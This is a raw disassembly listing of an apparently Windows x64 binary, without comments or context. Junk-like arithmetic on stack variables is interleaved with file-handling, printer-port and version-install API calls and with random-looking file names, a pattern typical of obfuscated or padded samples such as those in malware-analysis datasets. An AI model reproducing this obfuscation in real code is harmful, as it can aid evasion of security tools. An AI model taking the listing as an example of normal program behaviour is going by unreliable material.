mov rcx, qword [rsp + 0x10640]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdfa0], rax
movzx eax, word [rsp + 0x27d0]
movzx ecx, word [rsp + 0x11a8]
add eax, ecx
mov word [rsp + 0x27cc], ax
movzx eax, word [rsp + 0x27d0]
movzx ecx, word [rsp + 0x1e88]
and eax, ecx
movzx ecx, word [rsp + 0x27e8]
mov rdx, qword [rsp + 0x10518]
movzx edx, word [rdx]
imul ecx, edx
cmp eax, ecx
jge 0x1401f0e86
mov rax, qword [0x140281598]
movzx eax, word [rax]
mov word [0x140281588], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
mov byte [rsp + 0x51a], al
movsx eax, word [rsp + 0x1eb8]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2800], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
movsx ecx, word [0x14023c3a4]
and eax, ecx
mov word [rsp + 0x27c0], ax
mov eax, dword [rsp + 0x809c]
mov dword [rsp + 0x80c4], eax
mov rax, qword [rsp + 0xd1b0]
mov rcx, qword [rsp + 0x10698]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda68], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf678
mov rcx, qword [rsp + 0x10848]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f90], eax
mov rax, qword [rsp + 0x10850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6de8], eax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27e8]
sub eax, ecx
mov word [rsp + 0x11a8], ax
movzx eax, byte [rsp + 0x517]
movzx ecx, byte [rsp + 0x515]
sub eax, ecx
mov byte [rsp + 0x50f], al
movsx eax, word [rsp + 0x1eb8]
movsx ecx, word [rsp + 0x27d4]
add eax, ecx
mov word [0x14023c378], ax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51a]
add eax, ecx
movzx ecx, byte [rsp + 0xfe]
mov rdx, qword [0x140281590]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x14002050e
lea rax, [rsp + 0x10868]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x10870]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x10878]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x10700]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x10880]
mov r8, qword [rsp + 0x10870]
mov rdx, qword [rsp + 0x105e0]
mov ecx, 0x10
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x80c8], eax
mov rax, qword [rsp + 0x10818]
mov rcx, qword [rsp + 0x10070]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x106b8], rax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xea48]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xfaa0], rax
mov rax, qword [rsp + 0x10818]
mov rcx, qword [rsp + 0x10538]
mov qword [rsp + 0x10888], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10888]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2818]
shl eax, cl
mov word [rsp + 0x165c], ax
movsx eax, byte [0x14023c038]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x512], al
lea rax, [rsp + 0x107e8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x10890]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x10700]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x10890]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x10880]
mov r8, qword [rsp + 0x10890]
mov rdx, qword [rsp + 0x10880]
mov ecx, 0x59
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x7ddc], eax
mov rax, qword [rsp + 0x10758]
mov ecx, dword [rsp + 0x7f3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10650]
mov dword [rcx], eax
lea rax, [rsp + 0x6a58]
mov qword [rsp + 0x10898], rax
movsx eax, word [0x14023c3a4]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x165c]
mov rdx, qword [rsp + 0x106e8]
movsx edx, word [rdx]
imul ecx, edx
cmp eax, ecx
jl 0x1401f0e07
mov rax, qword [rsp + 0x10898]
mov rcx, qword [rsp + 0x10850]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x10720]
mov edx, dword [rsp + 0x7fc4]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x1400206ea
lea r9, [rsp + 0x23c30]
lea r8, [rsp + 0x2818]
mov rdx, qword [rsp + 0x105e0]
lea rcx, [rsp + 0x777c]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x80cc], eax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10658]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x27cc], ax
movsx eax, word [rsp + 0x27dc]
movsx ecx, word [rsp + 0x18a8]
sub eax, ecx
mov word [rsp + 0x165c], ax
movzx eax, byte [rsp + 0x50f]
movzx ecx, byte [rsp + 0xfe]
shl eax, cl
mov byte [rsp + 0xe7], al
mov eax, dword [rsp + 0x800c]
movzx ecx, al
mov eax, dword [rsp + 0x7fec]
shr eax, cl
mov dword [rsp + 0x80b0], eax
mov rax, qword [rsp + 0x10840]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10588]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a0], rax
mov eax, dword [rsp + 0x78c0]
mov ecx, dword [rsp + 0x80ac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10720]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x49
lea r9, [rsp + 0x10710]
mov r8d, 0x28
lea rdx, [rsp + 0x10528]
mov rcx, qword [rsp + 0x105b0]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x7f80], eax
mov rax, qword [rsp + 0x10818]
mov rcx, qword [0x14023c380]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10070], rax
movzx eax, byte [rsp + 0x518]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14023c039], al
mov rax, qword [rsp + 0x107d0]
movzx eax, word [rax]
mov rcx, qword [0x140281598]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11a8], ax
call fcn.1401f2020
jmp 0x140020910
movzx eax, word [rsp + 0x1fe8]
mov word [rsp + 0x2820], ax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8080]
and ecx, eax
mov eax, ecx
mov ecx, dword [0x14023c398]
mov edx, dword [rsp + 0x8024]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x1400208bd
lea rax, [rsp + 0x108a0]
mov qword [rsp + 0x20], rax
mov r9d, 0x9c
lea r8, [rsp + 0x10868]
mov edx, 0x83
mov rcx, qword [rsp + 0x108a8]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x7f78], eax
movsx eax, byte [rsp + 0x50e]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x512], al
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x10578]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov ecx, dword [0x1402815b0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x809c], eax
mov rax, qword [rsp + 0x10898]
mov rcx, qword [rsp + 0x10720]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7fc4], eax
mov rax, qword [rsp + 0x10858]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10808]
mov qword [rsp + 0x108b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x108b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x104e8], rax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27b8]
sar eax, cl
mov word [rsp + 0x11a8], ax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf8]
and eax, ecx
mov rcx, qword [0x140281590]
mov byte [rcx], al
mov r9d, 0x38
lea r8, [rsp + 0xd720]
mov edx, 0x91
mov rcx, qword [rsp + 0x108a8]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x7ffc], eax
movsx eax, word [0x14023c3a8]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x112c], ax
mov rax, qword [rsp + 0x10670]
mov rcx, qword [rsp + 0x10810]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x104a8], rax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x107e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x106b8], rax
jmp 0x140020910
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10850]
mov edx, dword [rsp + 0x80ac]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jle 0x140020910
mov r9d, 0xc8
lea r8, [rsp + 0x106b0]
mov edx, 0xf6
mov rcx, qword [rsp + 0x105b0]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x8074], eax
mov rdx, qword [rsp + 0x320c0]
mov cl, 0x9a
call fcn.140001fd0
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27d0]
sub eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov dword [rsp + 0x80d0], eax
mov rax, qword [rsp + 0x10808]
mov rcx, qword [rsp + 0x10858]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x106c8], rax
mov rax, qword [rsp + 0xfaa0]
mov rcx, qword [rsp + 0x104b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x106a8]
mov rdx, qword [rsp + 0x10678]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jle 0x140020a50
mov rax, qword [rsp + 0x10850]
mov rcx, qword [rsp + 0x10720]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x510], al
movsx eax, word [rsp + 0x2818]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1402815c2], ax
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfaa0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
call fcn.1401f2180
mov r8, qword [rsp + 0x105b8]
mov rdx, qword [rsp + 0x108b8]
mov rcx, qword [rsp + 0x10870]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x80d4], eax
jmp 0x140020b5b
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x413]
and eax, ecx
mov byte [rsp + 0x514], al
lea rcx, [rsp + 0x23ca8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.DtcJmx5wEA22z1XQcxaP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x108c0], rax
mov rax, qword [rsp + 0x107d0]
movzx eax, word [rax]
mov word [rsp + 0x2824], ax
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x48d]
sub eax, ecx
mov byte [rsp + 0x515], al
mov rax, qword [rsp + 0x10840]
mov rcx, qword [rsp + 0x104a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xf2c0], rax
mov rax, qword [rsp + 0x10898]
mov ecx, dword [rsp + 0x8090]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x10758]
mov rcx, qword [rsp + 0x10608]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x80c4], eax
mov rax, qword [rsp + 0x10648]
movzx eax, word [rax]
mov word [rsp + 0x2828], ax
lea rax, [rsp + 0x1e88]
mov qword [0x140281580], rax
mov r9d, 2
lea r8, [rsp + 0x104e0]
mov rdx, qword [rsp + 0x104d8]
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x8068], eax
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x510], al
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e88]
and eax, ecx
movzx ecx, word [rsp + 0x27e8]
movzx edx, word [rsp + 0x27b4]
add ecx, edx
cmp eax, ecx
jl 0x140020cc0
movsx eax, word [rsp + 0x2084]
movsx ecx, word [0x14023c3a8]
sub eax, ecx
mov word [rsp + 0x27dc], ax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x106a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10818], rax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10740]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x106b8], rax
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80a8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8094], eax
mov rax, qword [rsp + 0x10720]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7f00]
shl eax, cl
mov dword [rsp + 0x8090], eax
lea rax, [rsp + 0x108a0]
mov qword [rsp + 0x20], rax
mov r9d, 0xee
mov r8, qword [rsp + 0x10870]
mov rdx, qword [rsp + 0x10880]
mov rcx, qword [rsp + 0x108c8]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x7ef4], eax
mov rax, qword [rsp + 0x10858]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x105e8]
shr rax, cl
mov qword [rsp + 0x104a0], rax
mov rax, qword [rsp + 0x106e8]
movzx eax, word [rax]
mov word [rsp + 0x282c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51a]
imul eax, ecx
mov byte [0x14023c03b], al
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x107b0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x104f0]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x140020de3
mov rax, qword [rsp + 0x106b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x107b0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14023c03b], al
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10810]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2824]
movzx ecx, word [rsp + 0x11a8]
and eax, ecx
mov word [rsp + 0x27b8], ax
movsx eax, word [rsp + 0x27ec]
movsx ecx, word [rsp + 0x27dc]
sub eax, ecx
mov word [rsp + 0x2800], ax
mov rax, qword [0x1402815c8]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [0x1402815c8]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0x4ef]
mov rax, qword [0x1402815c8]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0xce]
call fcn.1401f23c0
jmp 0x1401f0c9a
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x48d], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.zs_v5o6Z8gexV_rz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x108d0], rax
lea rdx, [rsp + 0x104d8]
mov rcx, qword [rsp + 0x10510]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x802c], eax
mov rax, qword [rsp + 0x10850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8090]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7210], eax
mov rax, qword [rsp + 0x10858]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10820]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1b0], rax
mov rax, qword [rsp + 0x10650]
mov ecx, dword [rsp + 0x800c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f3c], eax
lea rax, [rsp + 0x413]
mov qword [rsp + 0x108d8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x108e0], rax
mov rax, qword [rsp + 0x106e8]
movzx eax, word [rax]
mov word [rsp + 0x2830], ax
lea rcx, [rsp + 0x23cd0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [0x140281590]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402815a0], al
movzx eax, word [rsp + 0x27cc]
mov rcx, qword [rsp + 0x10570]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x281c], ax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov qword [rsp + 0x108e8], rax
mov rcx, qword [rsp + 0x10610]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7f90], eax
lea rdx, [rsp + 0x25100]
mov rcx, qword [rsp + 0x10668]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7f28], eax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [rsp + 0x10678]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xea48], rax
mov rax, qword [rsp + 0x10850]
mov rcx, qword [rsp + 0x10720]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x78c0], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x10608]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x10650]
mov qword [rsp + 0x108f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x108f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6d20], eax
mov rax, qword [rsp + 0x10840]
mov rcx, qword [rsp + 0x106c0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x10808]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10658]
movzx eax, word [rax]
mov word [rsp + 0x2834], ax
mov rax, qword [rsp + 0x106e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10860]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x27dc], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x511]
cdq
idiv ecx
mov byte [0x14023c03c], al
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10818]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x108e8], rax
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov qword [rsp + 0x108f8], rax
movzx eax, byte [rsp + 0x2c4]
movzx ecx, byte [rsp + 0x517]
add eax, ecx
mov byte [rsp + 0x51a], al
lea rax, [rsp + 0x10820]
mov qword [rsp + 0x10900], rax
mov rax, qword [rsp + 0x10608]
mov ecx, dword [rsp + 0x80d0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7fd8], eax
mov rax, qword [rsp + 0x108d8]
movsx eax, byte [rax]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e2], al
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x26ff0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x8004], eax
mov eax, dword [rsp + 0x8050]
mov ecx, dword [rsp + 0x7fc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f38], eax
mov rax, qword [rsp + 0x107d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11b0], ax
mov rcx, qword [rsp + 0x106a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x80d8], eax
lea rax, [rsp + 0x51a]
mov qword [0x140281578], rax
mov rax, qword [rsp + 0x10570]
movzx eax, word [rax]
mov word [rsp + 0x2838], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x112c], ax
movzx eax, word [rsp + 0x2820]
mov word [rsp + 0x283c], ax
mov eax, dword [0x1402815b0]
mov ecx, dword [rsp + 0x80c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80c4], eax
mov eax, dword [rsp + 0x6de8]
mov ecx, dword [rsp + 0x7f88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8080], eax
mov rax, qword [rsp + 0x107b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x106b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x104f0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x513]
add ecx, edx
cmp eax, ecx
jle 0x1400212d5
mov r8, qword [rsp + 0x105c0]
mov rdx, qword [rsp + 0x10908]
mov rcx, qword [rsp + 0x10910]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x7ffc], eax
mov rax, qword [rsp + 0x10678]
mov rcx, qword [rsp + 0x104b8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x10678]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10538]
mov rcx, qword [0x14023c380]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xea48], rax
mov rax, qword [rsp + 0x105f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2838]
add eax, ecx
mov word [rsp + 0x27b4], ax
mov rax, qword [rsp + 0x108d8]
movsx eax, byte [rax]
mov rcx, qword [0x1402815c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50e], al
mov r8, qword [rsp + 0x10820]
mov rdx, qword [rsp + 0x10810]
mov rax, qword [rsp + 0x10570]
movzx ecx, word [rax]
call fcn.1401f2340
jmp 0x1401f0b93
mov rax, qword [rsp + 0x10758]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8094]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10608]
mov rdx, qword [rsp + 0x10650]
mov edx, dword [rdx]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jb 0x1401f0b93
mov rax, qword [rsp + 0x10850]
mov eax, dword [rax]
mov dword [rsp + 0x80dc], eax
mov rax, qword [rsp + 0x10650]
mov eax, dword [rax]
mov dword [rsp + 0x80c8], eax
lea rax, [rsp + 0x10698]
mov qword [rsp + 0x10918], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x7f1c], eax
mov rax, qword [rsp + 0x10860]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10648]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402815c2], ax
mov rax, qword [rsp + 0x105d0]
movzx eax, byte [rax]
movzx ecx, byte [0x14023c03a]
sub eax, ecx
mov byte [rsp + 0x405], al
movzx eax, byte [rsp + 0x515]
movzx ecx, byte [rsp + 0x2fc]
sar eax, cl
mov byte [rsp + 0x511], al
movzx eax, word [rsp + 0x27d0]
movzx ecx, word [rsp + 0x27b4]
or eax, ecx
mov word [rsp + 0x1808], ax
mov rax, qword [rsp + 0x10648]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x10860]
mov word [rcx], ax
mov rax, qword [rsp + 0x10898]
mov eax, dword [rax]
mov dword [rsp + 0x80e0], eax
mov rax, qword [rsp + 0x104e8]
mov rcx, qword [rsp + 0x10840]
mov qword [rsp + 0x10920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10920]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x10808]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10650]
mov ecx, dword [rsp + 0x777c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x809c], eax
lea rcx, [0x14023db08]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2840], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0x10678]
mov rax, qword [rax]
mov qword [rsp + 0x10928], rax
mov rax, qword [rsp + 0x10518]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x107d0]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1402815d0], ax
mov rax, qword [0x140281578]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x48d]
sub eax, ecx
mov byte [rsp + 0x2fc], al
movsx eax, word [rsp + 0x2818]
mov rcx, qword [rsp + 0x10860]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a74], ax
mov rax, qword [0x1402815c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0x4ef], al
mov rax, qword [rsp + 0x106a8]
mov rax, qword [rax]
mov qword [rsp + 0x10930], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x9076
mov rcx, qword [rsp + 0x10580]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f90], eax
xor r9d, r9d
lea r8, [rsp + 0x104e0]
mov rdx, qword [rsp + 0x104d0]
mov rcx, qword [rsp + 0x108c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x80e4], eax
mov rax, qword [rsp + 0x10898]
mov rcx, qword [rsp + 0x10850]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x80e0], eax
mov rax, qword [rsp + 0x10840]
mov rcx, qword [rsp + 0x10858]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10820], rax
lea rdx, [rsp + 0x25090]
mov rcx, qword [rsp + 0x10530]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x80e4], eax
mov eax, dword [rsp + 0x7ddc]
mov dword [rsp + 0x80e8], eax
mov rax, qword [rsp + 0x104f0]
movzx eax, byte [rax]
imul eax, eax, 0xbd
mov byte [rsp + 0x50d], al
movzx eax, word [0x14028158a]
mov word [0x140281570], ax
movzx eax, word [rsp + 0x11a8]
mov rcx, qword [rsp + 0x10518]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x279c], ax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10678]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10538]
mov qword [rcx], rax
mov rax, qword [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10538]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x106b8], rax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0x10578]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x104b0]
mov rdx, qword [rsp + 0x10678]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x140021738
movsx eax, byte [0x14023c038]
mov rcx, qword [rsp + 0x108d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd9], al
movsx eax, word [rsp + 0x2818]
mov rcx, qword [rsp + 0x106e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x165c], ax
mov dword [rsp + 0x20], 0xc4
